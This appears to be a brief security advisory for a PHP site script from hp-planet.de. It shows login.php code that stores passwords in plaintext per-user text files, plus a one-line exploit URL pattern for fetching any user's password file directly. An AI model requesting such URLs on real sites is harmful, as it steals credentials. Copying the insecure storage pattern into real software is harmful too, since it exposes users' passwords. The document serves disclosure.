Informations :
°°°°°°°°°°°°°°
Website : http://www.hp-planet.de
Version : 1
Problem : Informations disclosure


PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
login.php :
-----------------------------------------
function passwd2($user)
{
$password="nicht registriert";
if (file_exists("user/".$user.".txt"))
{
$fp = fopen("user/".$user.".txt","r");
$data = fgetcsv($fp,10000,"#");
fclose($fp);
$password=$data[0];
}
return($password);
}
-----------------------------------------



Exploit :
°°°°°°°°°
http://[target]/user/[NICKNAME].txt



More details :
°°°°°°°°°°°°°°
In French :
http://www.frog-man.org/tutos/5holes8.txt

Translated by Google :
http://translate.google.com/translat...language_tools





frog-m@n
http://www.phpsecure.org



__________________________________________________ _______________